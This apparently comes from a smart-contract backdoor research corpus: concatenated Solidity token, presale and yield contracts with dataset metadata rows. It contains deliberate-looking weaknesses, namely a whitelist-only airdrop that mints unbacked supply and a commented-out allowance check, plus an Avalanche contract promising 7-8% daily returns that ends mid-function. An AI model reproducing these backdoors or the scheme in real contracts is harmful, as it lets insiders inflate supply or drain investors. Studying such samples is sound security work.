function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts/zeppelin-solidity/token/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/zeppelin-solidity/token/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/zeppelin-solidity/token/BurnableToken.sol
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
// File: contracts/zeppelin-solidity/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/zeppelin-solidity/token/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
mapping (address => bool) internal userAddr;
function whitelistAddressArray (address[] users) onlyOwner public {
for (uint i = 0; i < users.length; i++) {
userAddr[users[i]] = true;
}
}
modifier canAirDrop() {
require(userAddr[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function airdrop(address[] _to, uint256[] _amountList, uint8 loop) canAirDrop canMint public {
address adr;
uint256 _amount;
uint8 linc = 0;
for(uint i = 0; i < loop*50; i=i+50) {
adr = _to[i];
_amount = _amountList[linc++];
totalSupply = totalSupply.add(_amount*50);
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+1];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+2];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+3];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+4];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+5];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+6];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+7];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+8];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+9];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+10];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+11];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+12];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+13];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+14];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+15];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+16];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+17];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+18];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+19];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+20];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+21];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+22];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+23];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+24];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+25];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+26];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+27];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+28];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+29];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+30];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+31];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+32];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+33];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+34];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+35];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+36];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+37];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+38];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+39];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+40];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+41];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+42];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+43];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+44];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+45];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+46];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+47];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+48];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
adr = _to[i+49];
balances[adr] = balances[adr].add(_amount);
Transfer(0x0, adr, _amount);
}
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/kdoTokenIcoListMe.sol
contract kdoTokenIcoListMe is MintableToken,BurnableToken {
string public constant name = "A ? from ico-list.me/kdo";
string public constant symbol = "KDO ?";
uint8 public decimals = 3;
}
| 219,189 | 667 |
1dbe4feee42385900d89b6198139e3729198148af3444fbaaaa1f4e550e02b39
| 24,875 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x94554c78bd90dc7047f1a400dd3c5730991d9484.sol
| 5,317 | 19,919 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OpportyToken is StandardToken {
string public constant name = "OpportyToken";
string public constant symbol = "OPP";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function OpportyToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract HoldPresaleContract is Ownable {
using SafeMath for uint256;
// Addresses and contracts
OpportyToken public OppToken;
address private presaleCont;
struct Holder {
bool isActive;
uint tokens;
uint8 holdPeriod;
uint holdPeriodTimestamp;
bool withdrawed;
}
mapping(address => Holder) public holderList;
mapping(uint => address) private holderIndexes;
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint public assetOwnersIndexes;
uint private holderIndex;
event TokensTransfered(address contributor , uint amount);
event Hold(address sender, address contributor, uint amount, uint8 holdPeriod);
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0);
_;
}
function HoldPresaleContract(address _OppToken) public {
OppToken = OpportyToken(_OppToken);
}
function setPresaleCont(address pres) public onlyOwner
{
presaleCont = pres;
}
function addHolder(address holder, uint tokens, uint8 timed, uint timest) onlyAssetsOwners external {
if (holderList[holder].isActive == false) {
holderList[holder].isActive = true;
holderList[holder].tokens = tokens;
holderList[holder].holdPeriod = timed;
holderList[holder].holdPeriodTimestamp = timest;
holderIndexes[holderIndex] = holder;
holderIndex++;
} else {
holderList[holder].tokens += tokens;
holderList[holder].holdPeriod = timed;
holderList[holder].holdPeriodTimestamp = timest;
}
Hold(msg.sender, holder, tokens, timed);
}
function getBalance() public constant returns (uint) {
return OppToken.balanceOf(this);
}
function unlockTokens() external {
address contributor = msg.sender;
if (holderList[contributor].isActive && !holderList[contributor].withdrawed) {
if (now >= holderList[contributor].holdPeriodTimestamp) {
if (OppToken.transfer(msg.sender, holderList[contributor].tokens)) {
holderList[contributor].withdrawed = true;
TokensTransfered(contributor, holderList[contributor].tokens);
}
} else {
revert();
}
} else {
revert();
}
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
}
contract OpportyPresale is Pausable {
using SafeMath for uint256;
OpportyToken public token;
HoldPresaleContract public holdContract;
enum SaleState { NEW, SALE, ENDED }
SaleState public state;
uint public endDate;
uint public endSaleDate;
// address where funds are collected
address private wallet;
// total ETH collected
uint public ethRaised;
uint private price;
uint public tokenRaised;
bool public tokensTransferredToHold;
event SaleStarted(uint blockNumber);
event SaleEnded(uint blockNumber);
event FundTransfered(address contrib, uint amount);
event WithdrawedEthToWallet(uint amount);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event AddedToWhiteList(address inv, uint amount, uint8 holdPeriod, uint8 bonus);
event AddedToHolder(address sender, uint tokenAmount, uint8 holdPeriod, uint holdTimestamp);
struct WhitelistContributor {
bool isActive;
uint invAmount;
uint8 holdPeriod;
uint holdTimestamp;
uint8 bonus;
bool payed;
}
mapping(address => WhitelistContributor) public whiteList;
mapping(uint => address) private whitelistIndexes;
uint private whitelistIndex;
function OpportyPresale(address tokenAddress,
address walletAddress,
uint end,
uint endSale,
address holdCont) public
{
token = OpportyToken(tokenAddress);
state = SaleState.NEW;
endDate = end;
endSaleDate = endSale;
price = 0.0002 * 1 ether;
wallet = walletAddress;
holdContract = HoldPresaleContract(holdCont);
}
function startPresale() public onlyOwner {
require(state == SaleState.NEW);
state = SaleState.SALE;
SaleStarted(block.number);
}
function endPresale() public onlyOwner {
require(state == SaleState.SALE);
state = SaleState.ENDED;
SaleEnded(block.number);
}
function addToWhitelist(address inv, uint amount, uint8 holdPeriod, uint8 bonus) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(holdPeriod == 1 || holdPeriod == 3 || holdPeriod == 6 || holdPeriod == 12);
amount = amount * (10 ** 18);
if (whiteList[inv].isActive == false) {
whiteList[inv].isActive = true;
whiteList[inv].payed = false;
whitelistIndexes[whitelistIndex] = inv;
whitelistIndex++;
}
whiteList[inv].invAmount = amount;
whiteList[inv].holdPeriod = holdPeriod;
whiteList[inv].bonus = bonus;
if (whiteList[inv].holdPeriod==1) whiteList[inv].holdTimestamp = endSaleDate.add(30 days); else
if (whiteList[inv].holdPeriod==3) whiteList[inv].holdTimestamp = endSaleDate.add(92 days); else
if (whiteList[inv].holdPeriod==6) whiteList[inv].holdTimestamp = endSaleDate.add(182 days); else
if (whiteList[inv].holdPeriod==12) whiteList[inv].holdTimestamp = endSaleDate.add(1 years);
AddedToWhiteList(inv, whiteList[inv].invAmount, whiteList[inv].holdPeriod, whiteList[inv].bonus);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(msg.value >= 0.3 ether);
require(whiteList[msg.sender].isActive);
if (now > endDate) {
state = SaleState.ENDED;
msg.sender.transfer(msg.value);
return ;
}
WhitelistContributor memory contrib = whiteList[msg.sender];
require(contrib.invAmount <= msg.value || contrib.payed);
if(whiteList[msg.sender].payed == false) {
whiteList[msg.sender].payed = true;
}
ethRaised += msg.value;
uint tokenAmount = msg.value.div(price);
tokenAmount += tokenAmount.mul(contrib.bonus).div(100);
tokenAmount *= 10 ** 18;
tokenRaised += tokenAmount;
holdContract.addHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
AddedToHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
FundTransfered(msg.sender, msg.value);
}
function getBalanceContract() view internal returns (uint) {
return token.balanceOf(this);
}
function sendTokensToHold() public onlyOwner {
require(state == SaleState.ENDED);
require(getBalanceContract() >= tokenRaised);
if (token.transfer(holdContract, tokenRaised)) {
tokensTransferredToHold = true;
TokensTransferedToHold(holdContract, tokenRaised);
}
}
function getTokensBack() public onlyOwner {
require(state == SaleState.ENDED);
require(tokensTransferredToHold == true);
uint balance;
balance = getBalanceContract() ;
token.transfer(msg.sender, balance);
}
function withdrawEth() public {
require(this.balance != 0);
require(state == SaleState.ENDED);
require(msg.sender == wallet);
require(tokensTransferredToHold == true);
uint bal = this.balance;
wallet.transfer(bal);
WithdrawedEthToWallet(bal);
}
function setEndSaleDate(uint date) public onlyOwner {
require(state == SaleState.NEW);
require(date > now);
uint oldEndDate = endSaleDate;
endSaleDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setEndDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function getTokenBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function getEthRaised() constant external returns (uint) {
return ethRaised;
}
}
contract OpportyPresale2 is Pausable {
using SafeMath for uint256;
OpportyToken public token;
HoldPresaleContract public holdContract;
OpportyPresale public preSaleContract;
enum SaleState { NEW, SALE, ENDED }
SaleState public state;
uint public endDate;
uint public endSaleDate;
uint public minimalContribution;
// address where funds are collected
address private wallet;
address private preSaleOld;
// total ETH collected
uint public ethRaised;
uint private price;
uint public tokenRaised;
bool public tokensTransferredToHold;
event SaleStarted(uint blockNumber);
event SaleEnded(uint blockNumber);
event FundTransfered(address contrib, uint amount);
event WithdrawedEthToWallet(uint amount);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event AddedToWhiteList(address inv, uint amount, uint8 holdPeriod, uint8 bonus);
event AddedToHolder(address sender, uint tokenAmount, uint8 holdPeriod, uint holdTimestamp);
event ChangeMinAmount(uint oldMinAmount, uint minAmount);
struct WhitelistContributor {
bool isActive;
uint invAmount;
uint8 holdPeriod;
uint holdTimestamp;
uint8 bonus;
bool payed;
}
mapping(address => WhitelistContributor) public whiteList;
mapping(uint => address) private whitelistIndexes;
uint private whitelistIndex;
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint public assetOwnersIndexes;
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0);
_;
}
function OpportyPresale2(address tokenAddress,
address walletAddress,
uint end,
uint endSale,
address holdCont,
address oldPreSale) public
{
token = OpportyToken(tokenAddress);
state = SaleState.NEW;
endDate = end;
endSaleDate = endSale;
price = 0.0002 * 1 ether;
wallet = walletAddress;
minimalContribution = 0.3 * 1 ether;
preSaleContract = OpportyPresale(oldPreSale);
holdContract = HoldPresaleContract(holdCont);
addAssetsOwner(msg.sender);
}
function startPresale() public onlyOwner {
require(state == SaleState.NEW);
state = SaleState.SALE;
SaleStarted(block.number);
}
function endPresale() public onlyOwner {
require(state == SaleState.SALE);
state = SaleState.ENDED;
SaleEnded(block.number);
}
function addToWhitelist(address inv, uint amount, uint8 holdPeriod, uint8 bonus) public onlyAssetsOwners {
require(state == SaleState.NEW || state == SaleState.SALE);
require(holdPeriod == 1 || holdPeriod == 3 || holdPeriod == 6 || holdPeriod == 12);
require(amount >= minimalContribution);
if (whiteList[inv].isActive == false) {
whiteList[inv].isActive = true;
whiteList[inv].payed = false;
whitelistIndexes[whitelistIndex] = inv;
whitelistIndex++;
}
whiteList[inv].invAmount = amount;
whiteList[inv].holdPeriod = holdPeriod;
whiteList[inv].bonus = bonus;
if (whiteList[inv].holdPeriod==1) whiteList[inv].holdTimestamp = endSaleDate.add(30 days); else
if (whiteList[inv].holdPeriod==3) whiteList[inv].holdTimestamp = endSaleDate.add(92 days); else
if (whiteList[inv].holdPeriod==6) whiteList[inv].holdTimestamp = endSaleDate.add(182 days); else
if (whiteList[inv].holdPeriod==12) whiteList[inv].holdTimestamp = endSaleDate.add(1 years);
AddedToWhiteList(inv, whiteList[inv].invAmount, whiteList[inv].holdPeriod, whiteList[inv].bonus);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(msg.value >= minimalContribution);
require(whiteList[msg.sender].isActive);
if (now > endDate) {
state = SaleState.ENDED;
msg.sender.transfer(msg.value);
return ;
}
WhitelistContributor memory contrib = whiteList[msg.sender];
require(contrib.invAmount <= msg.value || contrib.payed);
if(whiteList[msg.sender].payed == false) {
whiteList[msg.sender].payed = true;
}
ethRaised += msg.value;
uint tokenAmount = msg.value.div(price);
tokenAmount += tokenAmount.mul(contrib.bonus).div(100);
tokenAmount *= 10 ** 18;
tokenRaised += tokenAmount;
holdContract.addHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
AddedToHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
FundTransfered(msg.sender, msg.value);
// forward the funds to the wallet
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function getBalanceContract() view internal returns (uint) {
return token.balanceOf(this);
}
function sendTokensToHold() public onlyOwner {
require(state == SaleState.ENDED);
require(getBalanceContract() >= tokenRaised);
if (token.transfer(holdContract, tokenRaised)) {
tokensTransferredToHold = true;
TokensTransferedToHold(holdContract, tokenRaised);
}
}
function getTokensBack() public onlyOwner {
require(state == SaleState.ENDED);
require(tokensTransferredToHold == true);
uint balance;
balance = getBalanceContract() ;
token.transfer(msg.sender, balance);
}
function withdrawEth() public {
require(this.balance != 0);
require(state == SaleState.ENDED);
require(msg.sender == wallet);
require(tokensTransferredToHold == true);
uint bal = this.balance;
wallet.transfer(bal);
WithdrawedEthToWallet(bal);
}
function setEndSaleDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endSaleDate;
endSaleDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setEndDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setMinimalContribution(uint minimumAmount) public onlyOwner {
uint oldMinAmount = minimalContribution;
minimalContribution = minimumAmount;
ChangeMinAmount(oldMinAmount, minimalContribution);
}
function getTokenBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function getEthRaised() constant external returns (uint) {
uint pre = preSaleContract.getEthRaised();
return pre + ethRaised;
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
}
| 144,617 | 668 |
b59018b11f7bfb64fb20fe40cd8eecd3a53172e45bf9ea9f115a9df7e7476cb9
| 11,992 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b3/b38e8dfa17dc8c109943e667fed70719ea18fa30_AVALANCHEFOMO.sol
| 3,675 | 11,216 |
pragma solidity 0.5.8;
contract AVALANCHEFOMO {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 AVAX
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 hours ;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
